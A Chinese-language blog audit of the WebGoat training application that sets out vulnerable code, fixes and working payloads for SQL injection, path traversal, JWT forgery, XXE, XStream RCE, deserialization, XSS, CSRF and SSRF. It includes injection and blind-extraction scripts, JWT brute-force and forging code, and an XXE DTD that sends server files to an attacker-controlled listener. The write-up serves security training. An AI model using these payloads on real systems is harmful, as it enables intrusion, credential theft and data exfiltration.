webgoat审计
# 搭建概述
前提:
- Java 11
- Maven > 3.2.1
- IDEA
下载源码
1 | git clone https://github.com/WebGoat/WebGoat.git |
打开 idea 导入 maven 项目,build 完成之后,打开 localhost:8080/WebGoat,注册账户
# Sql 注入
select department from employees where first_name=‘Bob’
update employees set department=‘Sales’ where first_name=‘Barnett’
alter table employees add column phone varchar(20)
grant alter table to UnauthorizedUser
12:’; update employees set salary=1000000 where last_name=‘Smith’;–
13:’; drop table access_log;-- -
# 漏洞描述
当应用程序将用户输入的内容,拼接到 SQL 语句中,一起提交给数据库执行时,就会产生 SQL 注入威胁。攻击者通过控制部分 SQL 语句,可以查询数据库中任何需要的数据,利用数据库的一些特性,甚至可以直接获取数据库服务器的系统权限。
# 漏洞成因
字符拼接的方式拼接 sql 语句,并且没有做任何过滤直接执行
# 代码片段以及修复建议
-
sql-injection–>SQLInjectionChanllenge
使用预编译 PrepareStatement,实现数据代码分离
测试截图:
根据代码找到注入点,用 sqlmap 跑,payload
1
sqlmap.py -r 1.txt --method PUT --data "username_reg" -D PUBLIC -T CHALLENGE_USERS -C password --dump
但是可能由于服务器的原因,跑了很久,还跑错了,密码应该是 thisisasecretfortomonly
-
sql-injection–>SQLInjectionLesson6a
使用预编译 PrepareStatement,实现数据代码分离
测试截图:
payload (注意字段类型要对应):
1
-1' union select userid,user_name,password, cookie,'','',0 from user_system_data --
-
sql-injection–>Servers
列名不能加双引号,所以只能用字符拼接的方式拼接 sql 语句,建议对列名进行白名单过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public List<Server> sort( String column)throws Exception {
List<Server> servers = new ArrayList<>();
try (Connection connection = dataSource.getConnection();
PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column)) {
ResultSet rs = preparedStatement.executeQuery();
while (rs.next()) {
Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
servers.add(server);
}
}
return servers;
}测试截图:
sqlmap 不太好使,太慢了,然后就看见大佬写的脚本
布尔盲注,根据返回数据的排序来判断真假 (tql)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35# -*- coding:utf-8 -*-
import requests
from string import digits
chars = digits+"."
headers = {
'X-Requested-With': 'XMLHttpRequest'
}
cookies = {
'JSESSIONID': 'D81iy9aS29fcA8JZUl1QEdeNBahRWoMFk8YyziGj',
'JSESSIONID.75fbd09e': '7mc1x9iei6ji4xo2a3u4kbz1'
}
i = 0
result = ""
proxy={"http": "http://127.0.0.1:6666"}
while True:
i += 1
temp = result
for char in chars:
vul_url = "http://localhost:8080/WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20substr(ip,{0},1)='{1}'%20from%20servers%20where%20hostname='webgoat-prd')%20then%20hostname%20else%20mac%20end".format(i, char)
resp = requests.get(vul_url, headers=headers, cookies=cookies, proxies=proxy)
# print(resp.json())
if 'webgoat-acc' in resp.json()[0]['hostname']:
result += char
print(result)
if temp == result:
break
'''select * from table where
column =
case
when (select substr(ip,{0},1) = '{1}' from server where hostname = 'webgoat-prd')
then hostname
else mac end''' -
sql-injection–>SqlOnlyInputValidation
限制用户输入内容不能包含空格,但是可以通过过 /**/ 注释,括号等绕过,过滤空格后直接调用 SQLInjectionLesson6a 的注入函数(字符拼接执行并直接输出结果),修复建议同 SQLInjectionLesson6a
测试截图:
payload
1
-1'/**/union/**/select/**/userid,user_name,password,cookie,'','',0/**/from/**/user_system_data/**/--/**/
-
sql-injection–>SqlOnlyInputValidationOnKeywords
对用户输入进行关键字’select’ 'from’进行了一次判断置空,并限制用户输入不能包含空格,可以通过双写 + 注释绕过绕过,建议使用预编译
测试截图:
payload
1
-1'/**/union/**/selecselectt/**/userid,user_name,password,cookie,'','',0/**/frfromom/**/user_system_data/**/--/**/
# 任意文件上传
# 漏洞描述
文件上传功能允许用户将本地的文件通过 Web 页面提交到网站服务器上,但是如果不对用户上传的文件进行合法性验证,则攻击者可利用 Web 应用系统文件上传功能(如文件上传、图像上传等)的代码缺陷来上传任意文件或者 webshell,并在服务器上运行,以达到获取 Web 应用系统控制权限或其他目的。
# 漏洞成因
未对用户输入的参数进行合法性验证
# 代码片段以及修复建议
-
path-traversal–>ProfileUpload
获取前端上传的文件以及字符串 “fullName”
1 |
|
调用父类 ProfileUploadBase,execute () 方法,判断文件和 "fullName" 非空后直接上传,并且 “fullName” 用作子路径名字符串
修复建议
- 对 fullName 进行判断过滤
- 使用适当的权限保护文件夹
- 随机化重命名用户上传的文件名
- 根据用户上传的文件类型重构文件
测试截图:
- path-traversal–>ProfileUploadFix
对 “fullName” 过滤了 “…/”,但是因为 replace 并不能递归检测,所以可以通过双写绕过 (’…/./’),修复建议同上
1 | public AttackResult uploadFileHandler( MultipartFile file, String fullName){ return super.execute(file, fullName != null ? fullName.replace("../", "") : ""); } |
测试截图:
- path-traversal–>ProfileUploadRemoveUserInput
直接使用了源文件名,所以直接修改文件名即可,建议随机重命名文件名
1 | public AttackResult uploadFileHandler( MultipartFile file){ return super.execute(file, file.getOriginalFilename()); } |
测试截图:
# 目录遍历
# 漏洞描述
路径遍历,即利用路径回溯符 “…/” 跳出程序本身的限制目录实现下载任意文件。例如 Web 应用源码目录、Web 应用配置文件、敏感的系统文件(/etc/passwd、/etc/paswd)等。
一个正常的 Web 功能请求:
http://www.test.com/get-files.jsp?file=report.pdf
如果 Web 应用存在路径遍历漏洞,则攻击者可以构造以下请求服务器敏感文件:
http://www.test.com/get-files.jsp?file=../../../../../../../../../../../../etc/passwd
# 漏洞成因
未对用户输入的参数进行合法性验证
# 代码片段以及修复建议
path-traversal–>ProfileUploadRetrieval
源码过滤了’…‘和’/’,但是可以通过 url 编码进行绕过
根据参数 id 进行判断
如果用户输入的 id.jpg 存在,那么返回包中返回该图片的 base64 编码
如果不存在,就返回 catPicturesDirectory 的父目录的所有文件信息,用逗号分割
测试截图:
修复建议:
1. 使用适当的权限保护文件夹2. 禁止返回目录信息3. 对url编码后的参数也要进行解码过滤4. 统一404界面
# 身份认证绕过
# 漏洞描述
业务流程由前端进行控制,服务器端对应的各功能分离,导致业务流程可被攻击者进行控制,从而绕过流程中的各项校验功能,达到攻击的目的。
# 漏洞成因
未对用户可控的参数进行合法性验证
# 代码片段以及修复建议
-
auth-bypass–>VerifyAccount.completed()
1
if (verificationHelper.didUserLikelylCheat((HashMap) submittedAnswers)) { return failed(this) .feedback("verify-account.cheated") .output("Yes, you guessed correctly, but see the feedback message") .build(); }
调用 verificationHelper.didUserLikelylCheat ()
将用户输入的问题用键值对的方式保存,并和后端代码存储的答案进行比较。
但是 Mapper 在 get 一个不存在的键时,并不会报错,而是返回 null。所以用户可以通过控制 key 的值绕过。
建议
- 若用户可控 key,那么应该先判断这个 key 是否合法
- 设置不可控 key,直接将用户的输入作为 value 进行判断
1
static { userSecQuestions.put("secQuestion0", "Dr. Watson"); userSecQuestions.put("secQuestion1", "Baker Street"); } private static final Map<Integer, Map> secQuestionStore = new HashMap<>(); static { secQuestionStore.put(verifyUserId, userSecQuestions); } // end 'data store set up' // this is to aid feedback in the attack process and is not intended to be part of the 'vulnerable' code public boolean didUserLikelylCheat(HashMap<String, String> submittedAnswers) { boolean likely = false; if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) { likely = true; } if ((submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) && (submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1")))) { likely = true; } else { likely = false; } return likely;
测试截图:
-
auth-bypass–>AccountVerificationHelper.verifyAccount()
判断了 key 是否存在,但是不包含该 key 仍然可以绕过
1
//end of cheating check ... the method below is the one of real interest. Can you find the flaw? public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) { //short circuit if no questions are submitted if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) { return false; } if (submittedQuestions.containsKey("secQuestion0") && !submittedQuestions.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) { return false; } if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) { return false; } // else return true; }
建议修改为
1
if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) { return false; }// 同时判断key和对应的value if (submittedQuestions.containsKey("secQuestion0") && submittedQuestions.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0")) && submittedQuestions.containsKey("secQuestion1") && submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) { return true; } // else return false;
作者没写这个功能点,就是在源码里面问了一下
-
JWT
jwt–>JWTVotesEndpoint.vote()
没有验证签名,直接判断 token 中的 admin 对应值是否为 true,所以把 token 中的 alg 设置为 none,admin 设置为 true 即可(亲测 bp 转换的不行)
1
if (StringUtils.isEmpty(accessToken)) { return failed(this).feedback("jwt-invalid-token").build(); } else { try { Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); Claims claims = (Claims) jwt.getBody(); boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); if (!isAdmin) { return failed(this).feedback("jwt-only-admin").build(); } else { votes.values().forEach(vote -> vote.reset()); return success(this).build(); } } catch (JwtException e) { return failed(this).feedback("jwt-invalid-token").output(e.toString()).build(); } }
转换脚本:
1
# -*- coding:utf-8 -*-import jwtimport base64# header# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9# {"typ":"JWT","alg":"HS256"}#payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}def b64urlencode(data): return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')print(b64urlencode(b'{"alg":"none"}')+b'.'+b64urlencode(b'{"iat":1673470025,"admin":"true","user":"Tom"}')+b'.')
测试截图:
jwt–>JWTSecretKeyEndpoint.login()
随机取数组中的值进行加密,可以用字典进行爆破
1
public static final String[] SECRETS = {"victory", "business", "available", "shipping", "washington"};static final String JWT_SECRET = TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]);public String getSecretToken() { return Jwts.builder() .setIssuer("WebGoat Token Builder") .setAudience("webgoat.org") .setIssuedAt(Calendar.getInstance().getTime()) .setExpiration(Date.from(Instant.now().plusSeconds(60))) .setSubject("tom@webgoat.org") .claim("username", "Tom") .claim("Email", "tom@webgoat.org") .claim("Role", new String[]{"Manager", "Project Administrator"}) .signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact(); }
爆破脚本(字典 pass.txt 用的是源码里面的数组)(如果脚本报错 jwt 找不到 jwt.exceptions,可能是 pyjwt 的问题,更新 pyjwt>=1.6.4 即可,解决来源):
1
import termcolorimport jwtif __name__ == "__main__": jwt_str = 'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTYxMTc5ODAxNSwiZXhwIjoxNjExNzk4MDc1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.w1tzWDwmZcggbyV9ixcw1Vydf07MG9mAsPVbQPgBh2E' with open('pass.txt') as f: for line in f: key_ = line.strip() try: jwt.decode(jwt_str, verify=True, key=key_, algorithms="HS256") print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--') break except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError): print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--') break except jwt.exceptions.InvalidSignatureError: print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True) continue else: print('\r', '\bsorry! no key be found.')
测试截图:
爆破出来 key,就可以去 https://jwt.io/#debugger 加工啦
jwt–>JWTRefreshEndpoint
登录时调用 createNewTokens ()
会获取到的 refresh token 和该用户的 access token
refresh token 是通过 RandomStringUtils.randomAlphabetic (20) 获取的随机值,用于刷新过期的 access token
但是由于没有绑定用户信息,所以可以用来刷新任何任何用户的过期 token
1
Map<String, Object> tokenJson = new HashMap<>(); String refreshToken = RandomStringUtils.randomAlphabetic(20); validRefreshTokens.add(refreshToken); tokenJson.put("access_token", token); tokenJson.put("refresh_token", refreshToken); return tokenJson;
token 刷新,请求包中的 refresh_token 被包含在随机生成的 token 集合中时,就返回一个新的 token:
1
if (user == null || refreshToken == null) { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } else if (validRefreshTokens.contains(refreshToken)) { validRefreshTokens.remove(refreshToken); return ok(createNewTokens(user)); } else { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); }
测试截图:
利用登录接口,登录当前用户 jerry,获取刷新 refresh_token
没有成功刷新 token,报错信息:给出的 token 无法正常解析
jwt–>JWTFinalEndpoint.resetVotes()
存在 sql 注入点 "kid"(KID 代表 “密钥序号”(Key ID)。它是 JWT 头部的一个可选字段,开发人员可以用它标识认证 token 的某一密钥)
可以通过 union 进行绕过,将 "key" 作为认证密钥,使用在线工具伪造 token
这里将数据库取出的 key 用 base64 解码了,所以在注入的时候要注入 key 的 base 编码
1
aaa' union select 'a2V5' from jwt_keys where id='webgoat_key
1
final String kid = (String) header.get("kid"); try (var connection = dataSource.getConnection()) { ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); while (rs.next()) { return TextCodec.BASE64.decode(rs.getString(1)); } }
建议
- 保证密钥的保密性
- 签名算法固定在后端,不以 JWT 里的算法为标准
- 避免敏感信息保存在 JWT 中
- 尽量 JWT 的有效时间足够短
- 尽量避免用用户可以获取的参数刷新 token,避免逻辑绕过
- 注意 header 部分,若有 sql 语句,建议使用预编译
测试截图:
a2v5 是 key 的 base64 编码
-
安全问题
password_reset–>QuestionsAssignment
密保问题设置为,你最喜欢的颜色是什么,可以直接用常见颜色生成字典进行爆破,建议使用更复杂的难以破解的问题,并且限制输入次数
测试截图:
password_reset–>ResetLinkAssignmentForgotPassword
参数 host 是从 Request 头部获取的,可以通过控制 host 参数,给用户发送一个我们控制的 link,用户点击后访问我们的服务器,服务器记录该请求,从而获取到后面的 resetLink,然后我们再通过正常的访问修改密码
修复建议:
1. 禁止将用户可控的参数拼接进密码重置link2. 重置链接应该是一次性有效的
1 | private void fakeClickingLinkEmail(String host, String resetLink) { try { HttpHeaders httpHeaders = new HttpHeaders(); HttpEntity httpEntity = new HttpEntity(httpHeaders); new RestTemplate().exchange(String.format("http://%s/PasswordReset/reset/reset-password/%s", host, resetLink), HttpMethod.GET, httpEntity, Void.class); } catch (Exception e) { //don't care } } |
测试截图:
攻击者服务器记录了请求
# 用户敏感信息传输与存储
# 漏洞描述
系统未对用户的敏感信息(如密码、身份证号、电话号码、银行卡号等)进行加密、脱敏等操作,导致用户信息存在泄露的风险。
# 漏洞成因
提交登录请求时,没有对密码进行加密
# 代码片段以及修复建议
前端存储的用户名和密码
1 | function submit_secret_credentials() { var xhttp = new XMLHttpRequest(); xhttp['open']('POST', '#attack/307/100', true); //sending the request is obfuscated, to descourage js reading var _0xb7f9=["\x43\x61\x70\x74\x61\x69\x6E\x4A\x61\x63\x6B","\x42\x6C\x61\x63\x6B\x50\x65\x61\x72\x6C","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64"];xhttp[_0xb7f9[3]](JSON[_0xb7f9[2]]({username:_0xb7f9[0],password:_0xb7f9[1]}))} |
调用该函数的发包截图:
建议在数据传过程中,对用户的敏感数据进行加密
# XML 外部实体注入
# 漏洞描述
XXE(XML External Entity Injection)是一种针对 XML 终端实施的攻击,漏洞产生的根本原因就是在 XML1.0 标准中引入了 “entity” 这个概念,且 “entity” 可以在预定义的文档中进行调用,XXE 漏洞的利用就是通过实体的标识符访问本地或者远程内容。黑客想要实施这种攻击,需要在 XML 的 payload 包含外部实体声明,且服务器本身允许实体扩展。这样的话,黑客或许能读取 WEB 服务器的文件系统,通过 UNC 路径访问远程文件系统,或者通过 HTTP/HTTPS 连接到任意主机。
# 漏洞成因
XML 解析没有禁止外部实体的解析,且用户可控 REST XML 格式的参数。
# 代码片段以及修复建议
-
xxe–>SimpleXXE.createNewComment()
1
boolean secure = false; if (null != request.getSession().getAttribute("applySecurity")) { secure = true; } Comment comment = comments.parseXml(commentStr, secure); comments.addComment(comment, false); if (checkSolution(comment)) { return success(this).build(); }
其中调用 Comment 的 parseXml (commentStr, secure) 方法进行 xml 解析
正如代码中所示,可以通过设置 XMLConstants 的两个属性来禁用外部实体解析,默认的空字符串就是禁用,也可以指定协议等。
详细信息可以看 XMLConstants 中的注释。
1 | var jc = JAXBContext.newInstance(Comment.class); var xif = XMLInputFactory.newInstance(); if (secure) { xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant xif.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant } var xsr = xif.createXMLStreamReader(new StringReader(xml)); var unmarshaller = jc.createUnmarshaller(); return (Comment) unmarshaller.unmarshal(xsr); |
测试截图:
-
xxe–>ContentTypeAssignment.createNewUser()
根据 contentType 判断数据格式,xml 解析和 1 一样,其余同上
1
// 如果是xml格式 if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) { String error = ""; try { boolean secure = false; if (null != request.getSession().getAttribute("applySecurity")) { secure = true; } Comment comment = comments.parseXml(commentStr, secure); comments.addComment(comment, false); if (checkSolution(comment)) { attackResult = success(this).build(); } }
测试截图:
-
xxe–>ContentTypeAssignment.addComment()
这里作者为了弄一个 blind xxe,特别设置了提交正确的内容才返回 success
xml 解析代码并没有改变
实际上还是通过参数实体注入(参数实体也能被外部引用),为了看到数据所以要通过盲打的方式,将 WEB 服务器的本地文件内容发送到攻击者的服务器
修复建议同上
1
//Solution is posted as a separate comment if (commentStr.contains(CONTENTS)) { return success(this).build(); } try { boolean secure = false; if (null != request.getSession().getAttribute("applySecurity")) { secure = true; } Comment comment = comments.parseXml(commentStr, secure); if (CONTENTS.contains(comment.getText())) { comment.setText("Nice try, you need to send the file to WebWolf"); } comments.addComment(comment, false); }
测试截图:
a.dtd 上传在攻击服务器上
1
<!ENTITY % payload "<!ENTITY attack SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>">
数据通过实体引用成功回显啦
# 水平越权
# 漏洞描述
水平越权漏洞,是一种 “基于数据的访问控制” 设计缺陷引起的漏洞。由于服务器端在接收到请求数据进行操作时,没有判断数据的所属人,而导致的越权数据访问漏洞。如服务器端从客户端提交的 request 参数(用户可控数据)中获取用户 id,恶意攻击者通过变换请求 ID 的值,查看或修改不属于本人的数据。
# 漏洞成因
服务器端对数据的访问控制验证不充分
# 代码片段以及修复建议
idor–>IDORViewOtherProfile
安全代码将确保在拆除所请求的配置文件之前确保有一个水平访问控制检查
例如检查登录用户的 session 中的 id(用户不可控)是否和请求的 id 一致
if(requestedProfile.getUserId().equals(authUserId))
1 | if (userSessionData.getValue("idor-authenticated-as").equals("tom")) { //going to use session auth to view this one String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); if (userId != null && !userId.equals(authUserId)) { //on the right track UserProfile requestedProfile = new UserProfile(userId); // secure code would ensure there was a horizontal access control check prior to dishing up the requested profile if (requestedProfile.getUserId().equals("2342388")) { return success(this).feedback("idor.view.profile.success").output(requestedProfile.profileToMap().toString()).build(); } else { return failed(this).feedback("idor.view.profile.close1").build(); } |
测试截图:
# XSS 跨站脚本
# 漏洞描述
跨站脚本攻击(Cross Site Script)是一种将恶意 JavaScript 代码插入到其他 Web 用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在 HTML 页面里嵌入恶意代码。当用户浏览该页时,这些嵌入在 HTML 中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie 窃取、帐户劫持、拒绝服务攻击等。
跨站脚本攻击有以下攻击形式:
1、反射型跨站脚本攻击
攻击者利用社会工程学等手段,发送一个 URL 链接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。
2、存储型跨站脚本攻击
攻击者利用应用程序提供的录入或修改数据的功能,将数据存储到服务器或用户 cookie 中,当其他用户浏览展示该数据的页面时,浏览器会执行页面中嵌入的恶意脚本,所有浏览者都会受到攻击。
3、DOM 跨站脚本攻击
由于 HTML 页面中,定义了一段 JS,根据用户的输入,显示一段 HTML 代码,攻击者可以在输入时,插入一段恶意脚本,最终展示时,会执行恶意脚本。
DOM 跨站脚本攻击和以上两个跨站脚本攻击的区别是,DOM 跨站是纯页面脚本的输出,只有规范使用 JavaScript,才可以防御。
# 漏洞成因
在 HTML 中常用到字符实体,将常用到的字符实体没有进行转译,导致完整的标签出现,在可输入的文本框等某些区域内输入特定的某些标签导致代码被恶意篡改。
# 代码片段以及修复建议
-
xss–>CrossSiteScriptingLesson5a
反射型 xss
题目用正则表达式匹配用户输入的参数 field1,因为是题目需求这里匹配 ".*<script>(console\.log|alert)\(.\);?<\/script>." 后在页面上进行输出
1
public static final Predicate<String> XSS_PATTERN = Pattern.compile( ".*<script>(console\\.log|alert)\\(.*\\);?<\\/script>.*" , Pattern.CASE_INSENSITIVE).asMatchPredicate();if (XSS_PATTERN.test(field1)) { userSessionData.setValue("xss-reflected-5a-complete", "true"); if (field1.toLowerCase().contains("console.log")) { return success(this).feedback("xss-reflected-5a-success-console").output(cart.toString()).build(); } else { return success(this).feedback("xss-reflected-5a-success-alert").output(cart.toString()).build(); } }
测试截图:
修复建议:
-
根据要在何处使用用户输入,使用适当的转义 / 编码技术:HTML 转义,JavaScript 转义,CSS 转义,URL 转义等。使用现有的转义库,除非绝对必要,否则请不要编写自己的库。
-
如果用户输入需要包含 HTML,则无法对其进行转义 / 编码,因为它会破坏有效的标签。在这种情况下,请使用受信任且经过验证的库来解析和清除 HTML。
-
为 cookie 设置 HttpOnly 标志
-
使用内容安全策略
-
-
DOM 型
源码中使用路由,路由中的参数而无需编码可以执行 WebGoat 中的内部功能
1
// something like ... http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E--andMoreGarbageHere// or http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>
测试截图:
通过 url 触发路由内部函数的执行
1
http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>
修复建议:规范使用 JavaScript
# 反序列化
反序列化漏洞呢是一个说复杂也不复杂,说不复杂也很复杂的问题,要理解的点还是有很多的,这里就讲的很细
deserialization–>InsecureDeserializationTask
根据 if (!(o instanceof VulnerableTaskHolder)),可以发现,我们序列化的实例应该是 VulnerableTaskHolder
1 | try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) { before = System.currentTimeMillis(); Object o = ois.readObject(); if (!(o instanceof VulnerableTaskHolder)) { if (o instanceof String) { return failed(this).feedback("insecure-deserialization.stringobject").build(); } return failed(this).feedback("insecure-deserialization.wrongobject").build(); } after = System.currentTimeMillis(); |
VulnerableTaskHolder 定位到 Runtime.getRuntime ().exec (taskAction)
并且 taskAction 是在构造函数里被赋值的
所以我们可以通过控制 taskAction 来控制执行的命令(eg. VulnerableTaskHolder go = new VulnerableTaskHolder (“sleep”, “sleep 6”)),将对象使用序列化工具序列化,提交至后端处理,就会触发
1 | //condition is here to prevent you from destroying the goat altogether if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping")) && taskAction.length() < 22) { log.info("about to execute: {}", taskAction); try { Process p = Runtime.getRuntime().exec(taskAction); BufferedReader in = new BufferedReader( new InputStreamReader(p.getInputStream())); String line = null; while ((line = in.readLine()) != null) { log.info(line); } } |
测试截图:
序列化 VulnerableTaskHolder 对象,base64 编码
1 | static public void main(String[] args){ try{ VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6"); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(go); oos.flush(); byte[] exploit = bos.toByteArray(); String exp = Base64.getEncoder().encodeToString(exploit); System.out.println(exp); } catch (Exception e){ } |
提交后反序列化后的对象
但是没有执行成功,谷歌了一下,说是用 java 调用 CMD 命令时,需要指定 ,但是这个会改变现存代码逻辑,暂未实现,实现后再更新
反序列化漏洞修复建议:
1. 如果是第三方组件存在反序列化漏洞,建议更新版本或打补丁2. 加强对Runtime.exec相关代码的检测3. 条件允许的话,禁止JVM执行外部命令
# 第三方组件
# 漏洞描述
系统中引用了存在已知漏洞的第三方组件,如 Jackson 反序列化漏洞、Struts2 远程代码执行漏洞等,可能会直接或间接导致系统沦陷。
# 代码片段以及修复建议
攻击者可以通过版本信息找到相应的 cve 漏洞和 payload 进行利用,如下就是通过构造 ContactImpl 的 xml 格式通关。
1 | try { if (!StringUtils.isEmpty(payload)) { payload = payload.replace("+", "").replace("\r", "").replace("\n", "").replace("> ", ">").replace(" <", "<"); } contact = (Contact) xstream.fromXML(payload); } catch (Exception ex) { return failed(this).feedback("vulnerable-components.close").output(ex.getMessage()).build(); } try { if (null!=contact) { contact.getFirstName();//trigger the example like https://x-stream.github.io/CVE-2013-7285.html } if (!(contact instanceof ContactImpl)) { return success(this).feedback("vulnerable-components.success").build(); } } catch (Exception e) { return success(this).feedback("vulnerable-components.success").output(e.getMessage()).build(); } |
实例案例中,可以通过构造 xml 格式的数据,造成 rce
第三方漏洞修复建议:更新到最新版本,或者打补丁
测试截图:
payload:
1 | <sorted-set> <string>foo</string> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>cacl.exe</string> </command> </target> <action>start</action> </handler> </dynamic-proxy></sorted-set> |
成功弹出计算器
# CSRF
# 漏洞描述
CSRF(Cross-site request forgery)跨站请求伪造,也被称为 “One Click Attack” 或者 Session Riding,通常缩写为 CSRF 或者 XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与 XSS 非常不同,XSS 利用站点内的信任用户,而 CSRF 则通过伪装来自受信任用户的请求来利用受信任的网站。与 XSS 攻击相比,CSRF 攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比 XSS 更具危险性。
# 漏洞成因
网站的 cookie 在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的 csrf 脚本或包含 csrf 脚本的链接,可能会执行一些用户不想做的功能
# 部分代码及修复建议
-
csrf–>ForgedReviews.createNewReview()
只判断了 refer 值
测试截图:
bp 一键生成
修复建议:
-
在服务器端生成随机 token,浏览器在发起针对数据的修改请求将 token 提交,由服务器端验证通过够进行操作逻辑,token 需要至多一次有效,并具有有限的生命周期
-
通过检查 refer 值,判断请求是否合法 (下面的代码就是典型的反例)
-
针对需要用户授权的请求,提示用户输入身份认证后再继续操作
-
针对频繁操作提示输入验证码后再继续进行操作
-
-
csrf–>CSRFFeedback(7)
新增判断了 contentType。
拦截请求包生成的 poc 中,enctype=“text/plain”,我们要发送的 json 格式的数据都被隐藏在 input 的 name 中,其余同上
测试截图:
# SSRF
# 漏洞描述
服务端请求伪造攻击(SSRF)也成为跨站点端口攻击,是由于一些应用在 9 向第三方主机请求资源时提供了 URL 并通过传递的 URL 来获取资源引起的,当这种功能没有对协议、网络可信便捷做好限制时,攻击者可利用这种缺陷来获取内网敏感数据、DOS 内网服务器、读文件甚至于可获取内网服务器控制权限等。
# 漏洞成因
服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤或者限制,比如说从指定 url 地址获取网页文本内容,加载指定地址的图片,文档等等.
# 代码片段以及修复建议
两个任务都是根据用户输入的参数,进行判断输入,并没有任何过滤
测试截图:
修复建议:
-
禁用不需要的协议。仅仅允许 http 和 https 请求。可以防止 file://,gopher://,ftp:// 等引起的问题
-
统一错误信息,防止利用错误信息来判断远端服务器的端口状态.
-
禁止 302 跳转,或每跳转一次检查新的 host 是否为内网 ip, 后禁止
-
设置 url 名单或者限制内网 ip.
# 最后想说的
要好好努力,跟着自己的节奏,会越来越好的 o ( ̄ε ̄*)
还有还有,谢谢小甜甜一直的陪伴,爱您♡
Copyright ©milkii0